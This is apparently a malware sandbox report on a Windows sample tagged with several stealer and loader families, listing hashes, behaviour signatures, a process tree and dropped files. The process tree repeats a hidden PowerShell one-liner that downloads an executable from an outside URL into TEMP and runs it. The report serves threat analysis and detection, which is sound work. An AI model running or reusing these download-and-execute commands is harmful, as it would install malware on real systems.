Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    09/09/2026, 06:38

General

  • Target
    2026-09-07_15a6188e5412f6f08b73f78eff300a53_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
  • Size 445KB
  • Sample260909-hebb5sbc54
  • SHA256 002fae9a9a413a50d2a201a10e98c18e8344b4c3c89ec6b17df2ac38480dd5b1
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-09-07_15a6188e5412f6f08b73f78eff300a53_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-09-07_15a6188e5412f6f08b73f78eff300a53_cobalt-strike_icedid_luca-stealer_njrat_stealc.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1528
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK498643.exe; Start-Process -FilePath $env:TEMP\BK498643.exe -WindowStyle Hidden }"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1888
      • C:\Windows\system32\cmd.exe
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK498643.exe; Start-Process -FilePath $env:TEMP\BK498643.exe -WindowStyle Hidden }"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4492
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=0o6u9MMc2QdKvqeHmgPRE008.txt' -OutFile $env:TEMP\BK498643.exe; Start-Process -FilePath $env:TEMP\BK498643.exe -WindowStyle Hidden }"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3680
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK115579.exe; Start-Process -FilePath $env:TEMP\BK115579.exe -WindowStyle Hidden }"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1860
      • C:\Windows\system32\cmd.exe
        cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK115579.exe; Start-Process -FilePath $env:TEMP\BK115579.exe -WindowStyle Hidden }"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2360
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=oy7DDikwUmXxyY968EPRE008.txt' -OutFile $env:TEMP\BK115579.exe; Start-Process -FilePath $env:TEMP\BK115579.exe -WindowStyle Hidden }"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:980

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 6d4dc2e0c185de97a4bd89bad8673d4dcfd48dbff6ddc7acd790b4d13313ef73
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_akzb2m0r.lhm.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_akzb2m0r.lhm.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/3680-0-0x0000024B1A490000-0x0000024B1A4A0000-memory.dmp

        memory/3680-1-0x0000024B1A490000-0x0000024B1A4A0000-memory.dmp

        memory/3680-12-0x0000024B1A3C0000-0x0000024B1A3E2000-memory.dmp